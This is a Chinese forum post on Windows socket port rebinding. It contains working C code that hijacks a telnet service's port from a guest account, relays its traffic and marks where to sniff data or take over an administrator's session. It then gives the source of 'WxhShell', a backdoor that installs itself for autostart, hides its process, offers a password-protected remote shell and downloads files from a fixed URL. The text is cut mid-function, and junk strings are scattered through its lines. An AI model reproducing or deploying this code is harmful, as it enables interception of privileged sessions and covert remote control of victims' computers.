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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mxpj<^n}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q^?a|l  
_3< P(w{  
  saddr.sin_family = AF_INET; qDU4W7|T`  
[P6m8%Y|s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p_X{'=SQ1  
m)3M)8t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i,S1|R  
xaVn.&Wl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r?!:%L  
1z4_QZZ.NG  
  这意味着什么?意味着可以进行如下的攻击: -y{(h% 6  
pb)kN%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gS8+S\2  
~X3x- nAt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v1Q 78P  
w`=O '0d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P$Oj3HD LM  
*")*w> R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H5 V>d  
*C<;yPVc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >oO]S]W  
>\w]i*%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vB}c6A4'U  
r7L.W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1z-A3a/-  
v/=\(  
  #include >^GV #z  
  #include :0QDV~bs  
  #include CWocb=E  
  #include    3u&,3:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GC'e  
  int main() |xg_z&dX  
  { =5Nh}o(l?  
  WORD wVersionRequested; Pq8oK'z -  
  DWORD ret; z;F HZb9t,  
  WSADATA wsaData; O"Nr$bS(Y  
  BOOL val; RRV%g!  
  SOCKADDR_IN saddr; K&Bbjb_|  
  SOCKADDR_IN scaddr; Em^~OM3U$q  
  int err; M=lU`Sm  
  SOCKET s; j7lJ7BIr  
  SOCKET sc; CtV|oeJ  
  int caddsize; >TY;l3ew  
  HANDLE mt; _U-`/r o  
  DWORD tid;   0y+^{@lU  
  wVersionRequested = MAKEWORD( 2, 2 ); @!u{>!~0  
  err = WSAStartup( wVersionRequested, &wsaData ); +L`}(yLJ)9  
  if ( err != 0 ) { GqR|hg  
  printf("error!WSAStartup failed!\n"); sZT~ 5c8  
  return -1; yNow hh  
  } Z"%.  
  saddr.sin_family = AF_INET; euVDrJ^  
   2[HPU M2>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GK!@|Kk8q7  
6<$.Z-,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oBo*<6  
  saddr.sin_port = htons(23); {it}\[3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tx~,7TMS/  
  { s1[&WDedM  
  printf("error!socket failed!\n"); NjpWK ;L  
  return -1; jC4>%!{m  
  } lwrh4<~\,*  
  val = TRUE; r)>3YM5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [rWBVfm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =gD)j&~}_  
  { X%j`rQk`  
  printf("error!setsockopt failed!\n"); yF? O+9R A  
  return -1; h7^&:  
  } U|V,&RlbR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l`ZL^uT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?d^6ynzn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Nr~!5XO  
_uLpU4# ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BDvkY  
  { ,]7ouH$H}  
  ret=GetLastError(); <%Nf"p{K  
  printf("error!bind failed!\n"); t(6]j#5   
  return -1; hxH6Ii]\  
  } $q z{L~ <  
  listen(s,2); iD G&Muc  
  while(1) j1%8r*Jj  
  { |oLGc!i  
  caddsize = sizeof(scaddr); n:OXv}pv  
  //接受连接请求 #UoFU{6tM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cx$h"  
  if(sc!=INVALID_SOCKET) *X/Vt$P  
  { C@eL9R;N1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j?m(l,YD|*  
  if(mt==NULL) yRyXlZC  
  { grzmW4Cw  
  printf("Thread Creat Failed!\n"); #e-K It  
  break; Gd_0FF.  
  } ,v K%e>e&  
  } {VW\EOPV~  
  CloseHandle(mt); Pz{MYw  
  } 4KtD  k  
  closesocket(s); KR?aL:RYb  
  WSACleanup(); q,L>PN+W  
  return 0; * 3fl}l  
  }   B qX"La,  
  DWORD WINAPI ClientThread(LPVOID lpParam) I3Z?xsa@Z  
  { $<nRW*d  
  SOCKET ss = (SOCKET)lpParam; %W\NYSm  
  SOCKET sc; hmo4H3g!N  
  unsigned char buf[4096]; S',h*e  
  SOCKADDR_IN saddr; cB){b'WJ  
  long num; tjwf;g}$  
  DWORD val; py:L-5  
  DWORD ret; SyVXXk 0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #%@bZ f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gfj_]  
  saddr.sin_family = AF_INET; CLzF84@W=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hS8M|_  
  saddr.sin_port = htons(23); T&dNjx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jq%<Z,rh  
  { H\oxj,+N  
  printf("error!socket failed!\n"); ]jxyaE&%4  
  return -1; ~*/ >8R(Y  
  } pI-Qq%Nwt  
  val = 100; X^N6s"2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xOKJOl  
  { Z9$pY=8^?  
  ret = GetLastError(); @2hhBW  
  return -1; W9Azp8)p]  
  } lf>d{zd5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9e K~g0m  
  { >^Wpc  
  ret = GetLastError(); >W] Wc4 \  
  return -1; F\xIVY  
  } m`-:j"]b$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T$"~V u  
  { PL&> p M  
  printf("error!socket connect failed!\n"); pLCj"D).M  
  closesocket(sc); j!i* &  
  closesocket(ss); 8xAIn>,_  
  return -1; 8|)!E`TKSV  
  } g $Y]{VM.J  
  while(1) d.~ns4bt9  
  { G{fPQ=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]vz6DJs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8%m\J:e R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g4=1['wW  
  num = recv(ss,buf,4096,0); t;VMtIW+E  
  if(num>0) c=\_[G(  
  send(sc,buf,num,0); xIm2t~io  
  else if(num==0) 'yX\y 6I  
  break; X,l7>>L{g  
  num = recv(sc,buf,4096,0); xbhHP2F |  
  if(num>0) 8A&N+sT  
  send(ss,buf,num,0); b'+Wf#.]f0  
  else if(num==0) C] mp <  
  break; VVch%  
  } BedL `[ ,  
  closesocket(ss); WLXt@dK*u  
  closesocket(sc); "rLm)$I  
  return 0 ; siCi+Y  
  } v\6.#>NQ  
##Pzc~xSn  
#M!$CGi (  
========================================================== jy.L/s  
'XKfKv >;  
下边附上一个代码,,WXhSHELL &%j`WF4p  
_0rt.NRD  
========================================================== HN NeH;L  
? bWc<]  
#include "stdafx.h" k8}fKVU;  
/ojwOJ  
#include <stdio.h> a. D cmy{  
#include <string.h> W?zj^y[w  
#include <windows.h> !`=iKe&%E  
#include <winsock2.h> <}~ /. Cx  
#include <winsvc.h> Q" h]p  
#include <urlmon.h> cI8\d 4/py  
;~:Z~8+{c  
#pragma comment (lib, "Ws2_32.lib") + >dC  
#pragma comment (lib, "urlmon.lib") -{OJM|W+  
0qFO+nC  
#define MAX_USER   100 // 最大客户端连接数 ) 6QJZ$  
#define BUF_SOCK   200 // sock buffer c{1)- &W  
#define KEY_BUFF   255 // 输入 buffer R P~67L  
Zj]tiN f\"  
#define REBOOT     0   // 重启 2*w`l|Sx  
#define SHUTDOWN   1   // 关机 >x6\A7  
t=Rl`1 =(K  
#define DEF_PORT   5000 // 监听端口 k8st XW-w  
hk5!$#^  
#define REG_LEN     16   // 注册表键长度 K\Q4u4DjbJ  
#define SVC_LEN     80   // NT服务名长度 %1k"K~eu  
| ;a$ l(~<  
// 从dll定义API 1VFCK&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #]c_ 2V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F-:AT$Ok  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =3'B$PY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1N$OXLu  
{ /!ryOA65  
// wxhshell配置信息 igTs[q=Ak  
struct WSCFG { ^E \4`  
  int ws_port;         // 监听端口 5Xxdm-0  
  char ws_passstr[REG_LEN]; // 口令 :dbO|]Xf  
  int ws_autoins;       // 安装标记, 1=yes 0=no <ndY6n3  
  char ws_regname[REG_LEN]; // 注册表键名 J)Yz@0#T(;  
  char ws_svcname[REG_LEN]; // 服务名 uaP5(hUI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nX7F<k4G2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _X?_|!;J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [^a7l$fmi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #B?lU"f8q^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Adiw@q1&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |qQ6>IZ  
C3=0 st$  
};  ) 4t%?wT  
] rqx><!  
// default Wxhshell configuration ~P}ng{x4z  
struct WSCFG wscfg={DEF_PORT, cy6YajOk7  
    "xuhuanlingzhe", 9 AD*  
    1, Da[#X`Kp$  
    "Wxhshell", Y]6d Yq{k  
    "Wxhshell", cCiDe`T\F  
            "WxhShell Service", t3.;qDy  
    "Wrsky Windows CmdShell Service", \25EI]  
    "Please Input Your Password: ", mnZfk  
  1, VgbT/v  
  "http://www.wrsky.com/wxhshell.exe", GBS+ 4xL|  
  "Wxhshell.exe" 7R5ebMW V  
    }; *\:sHVyG(  
a6h+?Q7uF  
// 消息定义模块 `j'1V1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |AExaO"jk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k f Y;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xajt][  
char *msg_ws_ext="\n\rExit."; |ul{d|  
char *msg_ws_end="\n\rQuit."; % mPv1$FH  
char *msg_ws_boot="\n\rReboot..."; 'e<8j  
char *msg_ws_poff="\n\rShutdown..."; FU*q9s`  
char *msg_ws_down="\n\rSave to "; fS'` 9  
\ 6taC  
char *msg_ws_err="\n\rErr!"; {l/`m.Z  
char *msg_ws_ok="\n\rOK!"; 1jzu-s ,F  
2H8\P+  
char ExeFile[MAX_PATH]; cna%;f.  
int nUser = 0; M).CyY;bm  
HANDLE handles[MAX_USER]; Zr6.Nw  
int OsIsNt; g*_n|7pB  
}vP(SF 6  
SERVICE_STATUS       serviceStatus; O`_, _  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )j}#6r  
)J yB  
// 函数声明 LrdED[Z  
int Install(void); @6!Myez'  
int Uninstall(void); ryz NM3  
int DownloadFile(char *sURL, SOCKET wsh); iSOyp\E|  
int Boot(int flag); _XT;   
void HideProc(void);  Uv<nJM  
int GetOsVer(void); _@)-#7  
int Wxhshell(SOCKET wsl); ^u90N>Dvq  
void TalkWithClient(void *cs); q3v5gz^t  
int CmdShell(SOCKET sock); ntPX?/  
int StartFromService(void); N2j^fZd_  
int StartWxhshell(LPSTR lpCmdLine); WCqa[=v)t  
_ A{F2M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !%(kMN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9RS viIi$  
t<}N>%ZO  
// 数据结构和表定义 I%Z=O=  
SERVICE_TABLE_ENTRY DispatchTable[] = t5 ^hZZ  
{ rR{KnM  
{wscfg.ws_svcname, NTServiceMain}, CO, {/  
{NULL, NULL} e1V1Ae  
}; qOQ8a:]?  
H;AMRL o4z  
// 自我安装 ]d{lS&PRlg  
int Install(void) `25<;@  
{ )3|a_   
  char svExeFile[MAX_PATH]; LtUw  
  HKEY key; q!><:"#[G  
  strcpy(svExeFile,ExeFile); 5mL4Zq"  
*(wxNsK  
// 如果是win9x系统,修改注册表设为自启动 Ue`Y>T7+!  
if(!OsIsNt) { vaVV 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g%ys|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~-sG&u>  
  RegCloseKey(key); e*I92  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iW9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5TeGdfu @  
  RegCloseKey(key); \v{HjqVkC  
  return 0; QAl4w)F  
    } 6N Ogi  
  } bQN3\mvY  
}  )L":I  
else { &Wdi 5T8  
0Q#}:  
// 如果是NT以上系统,安装为系统服务 i&)([C0z$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V+U89j1g  
if (schSCManager!=0) Wi\k&V.mE  
{ \fvm6$ rZ^  
  SC_HANDLE schService = CreateService I^n,v) 8  
  ( JXt_  
  schSCManager, Ck m:;q  
  wscfg.ws_svcname, aehB,l0  
  wscfg.ws_svcdisp, _T805<aUW\  
  SERVICE_ALL_ACCESS, %'X7T^uE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qrZ3`@C4k  
  SERVICE_AUTO_START, d|W=_7 z  
  SERVICE_ERROR_NORMAL, 1@TL>jq  
  svExeFile, /&czaAR-  
  NULL, ;Vf{3  
  NULL, 5vS[{;<&  
  NULL, tU!Yg"4Q  
  NULL, 8B!QqLqK  
  NULL MlS5/9m@^  
  ); @1bl<27  
  if (schService!=0) 23'<R i  
  { _2<UcC~  
  CloseServiceHandle(schService); xj AU Csq  
  CloseServiceHandle(schSCManager);  VS7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U ){4W0  
  strcat(svExeFile,wscfg.ws_svcname); 3=Uyt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?h| DeD!s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [yc7F0Aw  
  RegCloseKey(key); H_| re  
  return 0; M*Q}^<E*  
    } $n47DW &  
  } +T,A^(&t  
  CloseServiceHandle(schSCManager); b53s@7/mq  
} Vvfd?G"  
} zyP/'X_~:  
_sL;E<)y(  
return 1; U(OkTJxv+  
} 7@k3-?q  
G-:7,9  
// 自我卸载 Qs#;sy W@~  
int Uninstall(void) n`jG[{3t&  
{ s bR*[2  
  HKEY key; .SSyW{a3w  
:>H{?  
if(!OsIsNt) { ug"4P.wI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )7#3n(_np  
  RegDeleteValue(key,wscfg.ws_regname); kaIns  
  RegCloseKey(key); \PG_i'R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c&h8Qk3  
  RegDeleteValue(key,wscfg.ws_regname); 2\#$::B9  
  RegCloseKey(key); (4C)] RHQ  
  return 0; E]a;Ydf~  
  } bJ6H6D>  
} z/p^C~|}  
} Fo~q35uB  
else { $S2 /*  
F~OQ'59!Pf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @`^Z5n.4  
if (schSCManager!=0) *mYGs )|  
{ -QBM^L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;K4uu<e \  
  if (schService!=0) 6o(.zk`d  
  { +9yMtR  
  if(DeleteService(schService)!=0) { <F-IF7>a  
  CloseServiceHandle(schService); k;SKQN  
  CloseServiceHandle(schSCManager); ' eWG v  
  return 0; B T {cTj0W  
  } 4N3O<)C)@  
  CloseServiceHandle(schService); k$DRX) e  
  } <QaUq `,  
  CloseServiceHandle(schSCManager); mjk<FXW  
} ![]6| G&  
} bwszfPM  
]n:R#55A  
return 1; i3$G)W  
} +t Prqv"(  
z 9WeOs  
// 从指定url下载文件 c]$$ap  
int DownloadFile(char *sURL, SOCKET wsh) J{XRltI+  
{ I1K%n'D  
  HRESULT hr; ^R(=4%8%"  
char seps[]= "/"; $?[pcgv  
char *token; ?zVE7;r4U  
char *file; D)S_ p&  
char myURL[MAX_PATH]; ;/IX w>O(/  
char myFILE[MAX_PATH]; _t4(H))]vG  
5 5Mtjqfp  
strcpy(myURL,sURL); p`52  
  token=strtok(myURL,seps); IEkbVIA(  
  while(token!=NULL) INCD5dihJ  
  { Mdp'u$^!  
    file=token; ~u[1Vz4#3  
  token=strtok(NULL,seps); j|p=JrCJ  
  } ['iEw!  
x[+bLlb  
GetCurrentDirectory(MAX_PATH,myFILE); Ruwp"T}mF  
strcat(myFILE, "\\"); zh(=kS `  
strcat(myFILE, file); '9&@?P;  
  send(wsh,myFILE,strlen(myFILE),0); %*gg6Q  
send(wsh,"...",3,0); |'x"+x   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); muFWFq&yP  
  if(hr==S_OK) iHQ$L# 7  
return 0; 2Ib 1D  
else ^i3!1cS  
return 1; 4gmlK,a  
g2u\gR5  
} i;IhsKO0R  
Nm%#rZrN~Q  
// 系统电源模块 Uw3wR!:  
int Boot(int flag) /pLf?m9  
{ oBo |eRIt|  
  HANDLE hToken; x7jFYC  
  TOKEN_PRIVILEGES tkp; %ca`v;].  
6J$I8b#/  
  if(OsIsNt) { _?I*:: I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 34_ V&8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^.~e  
    tkp.PrivilegeCount = 1; Jv]$@>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wqzpFPk(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hx:^xW@r4P  
if(flag==REBOOT) { QWC C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A.$P1zwC  
  return 0; )N\B C  
} /paZJ}Pr.  
else { )%8st'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .O&YdUo  
  return 0; uy<b5.!-  
} G2P:|R  
  } TDy$Mv=y  
  else { WWOjck #  
if(flag==REBOOT) { :j/sTO=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (>lH=&%zj  
  return 0; ^B7Ls{  
} =OTu8_ d0t  
else { MvaX>n !o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >m%7dU  
  return 0; ETdN<}m  
} :$P1ps3B  
} d%E*P4Ua  
GR 1%(,  
return 1; Cyo:Da  A  
} Y'+K U/H  
x>T+k8[n  
// win9x进程隐藏模块 i]qxF&1  
void HideProc(void) E7/i_Xkk  
{ ^^a%Lz)U  
xjrL@LO#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1/?K/gL  
  if ( hKernel != NULL ) L{&Yh|}  
  { >>8{N)c5E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?<Mx*l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nm %7e!{m  
    FreeLibrary(hKernel); Re*~C:  
  } 4 DV,f2:R4  
K7i@7  
return; 2dbn~j0  
} ,<s:* k  
aH_FBY  
// 获取操作系统版本 k_gl$`A  
int GetOsVer(void) 79h'sp6;  
{ [N"=rY4G  
  OSVERSIONINFO winfo; la^K|!|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mDuS-2G=D  
  GetVersionEx(&winfo); LE?sAN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [b~+VeP+p4  
  return 1; u?'J1\z  
  else p$*P@qm  
  return 0; ~I~lb/  
} }I18|=TB  
J(P'!#z^  
// 客户端句柄模块 DH4IF i>  
int Wxhshell(SOCKET wsl) QpS7 nGev  
{ j^h:*rw  
  SOCKET wsh; J'k^(ZZ  
  struct sockaddr_in client; :H:+XIgoR  
  DWORD myID; -e0?1.A$  
WKwYSbs(  
  while(nUser<MAX_USER) 3|EAOoWnK  
{ NR%_&%qQA  
  int nSize=sizeof(client); S/YHT)0x[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \zOsq5}  
  if(wsh==INVALID_SOCKET) return 1; !lM.1gTTC  
[Ov/&jD"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aO bp"  
if(handles[nUser]==0) g*w}m>O  
  closesocket(wsh); 9eR";Wm])  
else 'rVB2 `z-  
  nUser++; Id8e%)  
  } DwWm(8&6;}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *V[I&dKq  
6 tB\X^  
  return 0; b%d,X-3  
} G+I->n-s4  
!:}m-iqQ1  
// 关闭 socket Deq@T {  
void CloseIt(SOCKET wsh) ^)aj, U[  
{ nE bZ8M  
closesocket(wsh); TJZ arNc$  
nUser--; G 6xN R  
ExitThread(0); b7gN|Hw5 H  
} ]]y,FQ,r  
_ G2)=yj]  
// 客户端请求句柄 xP27j_*m>  
void TalkWithClient(void *cs) $-s8tc(  
{ /wkrfYRs  
XK;Vu#E*^  
  SOCKET wsh=(SOCKET)cs; Mh{;1$j#  
  char pwd[SVC_LEN]; i 8%@4U/ J  
  char cmd[KEY_BUFF]; sI{?4k  
char chr[1]; :% +9y @%  
int i,j; V=YDqof  
gN*b~&G  
  while (nUser < MAX_USER) { SA%)xGRW  
rMw$T=Oi  
if(wscfg.ws_passstr) { k"m+i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yf4 i!~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~3%aEj  
  //ZeroMemory(pwd,KEY_BUFF); TKVS%//  
      i=0; aEun *V^,  
  while(i<SVC_LEN) { ]Z52L`k  
}VHvC"   
  // 设置超时 ~&"'>C#  
  fd_set FdRead; H wz$zF+R  
  struct timeval TimeOut; bkrl>Im<n  
  FD_ZERO(&FdRead); . +,{|){c  
  FD_SET(wsh,&FdRead); ZoCk]hk  
  TimeOut.tv_sec=8; +6^hp-G7  
  TimeOut.tv_usec=0; 6 B7 F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0<^Q j.(9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vo|[Z)MO`  
~ftR:F|9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]3Jb$Q@  
  pwd=chr[0]; 7loWqZ  
  if(chr[0]==0xd || chr[0]==0xa) { V6kDyl(  
  pwd=0; ID<[=es6  
  break; KTeR;6oZn"  
  } k`s_31<  
  i++; 0n={Mb  
    } Z>dvth  
r"t,/@`n  
  // 如果是非法用户,关闭 socket bw!*=<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `(6cRT`Wp  
} ~B7<Yg  
VZ7E#z+nM#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *?>52 -&b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ih |&q  
,vBB". LY'  
while(1) { &2n 5m&   
VJ1rU mO~  
  ZeroMemory(cmd,KEY_BUFF); n;~'W*Ln0  
=)x+f/c]  
      // 自动支持客户端 telnet标准   1)f <  
  j=0; >gl.ILo  
  while(j<KEY_BUFF) { =Q6JXp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y I[kaH"J  
  cmd[j]=chr[0]; 9! yDZ<s  
  if(chr[0]==0xa || chr[0]==0xd) { BL-7r=Z  
  cmd[j]=0; 6_:KFqc W  
  break; w{4#Q[  
  } x&$8;2&.  
  j++; Digx#'#jf  
    } %/SHB  
G+\&8fi0  
  // 下载文件 i?|u$[^=+  
  if(strstr(cmd,"http://")) { m @)Ya*=<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =GiN~$d  
  if(DownloadFile(cmd,wsh)) phwBil-vUU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fc|N6I'o  
  else E5Ls/ H K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O(:/ &`)  
  } $&i8/pD  
  else { ^+kymZ  
1bjWWNzQA  
    switch(cmd[0]) { D8{f7{nY  
  &z>iqm"Ww  
  // 帮助 eQMa9_  
  case '?': { "s@q(J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;{0%Vp{  
    break; 8?w#=@s  
  } `1#Z9&bO  
  // 安装 Hr \vu`p$  
  case 'i': { w8#ji 1gX  
    if(Install()) i8#:y`ai  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n1b^o~agwC  
    else &G?w*w_n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ cI`$kJ  
    break; j9BcoEl:;  
    } 3ik~PgGoKQ  
  // 卸载 }|nEbM]#  
  case 'r': { at\$ IK_  
    if(Uninstall()) urQ<r{$x0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXkq2\GHA  
    else k4` %.;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i 1GQ=@  
    break; we kb&?  
    } Fz| r[  
  // 显示 wxhshell 所在路径 MVEh<_  
  case 'p': { ^,J>=>,1\  
    char svExeFile[MAX_PATH]; 29&F_  
    strcpy(svExeFile,"\n\r"); Bp4#"y2  
      strcat(svExeFile,ExeFile); l-SVI9|<0  
        send(wsh,svExeFile,strlen(svExeFile),0); 4y $okn\}i  
    break; |lyspD  
    } hW\'EJ  
  // 重启 iEbW[sX[ 4  
  case 'b': { 7Q~$&G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *9`k$'  
    if(Boot(REBOOT)) A[^k4 >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gm1RQ^n,@.  
    else { aFL<(,~r  
    closesocket(wsh); o<5+v^mt#  
    ExitThread(0); 'L^M"f^I  
    } &M=15 uCK  
    break; IiY%y:!g  
    } J8[aVG  
  // 关机 w,X J8+B  
  case 'd': { .g.g lQ_~=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3.rl^Cq1  
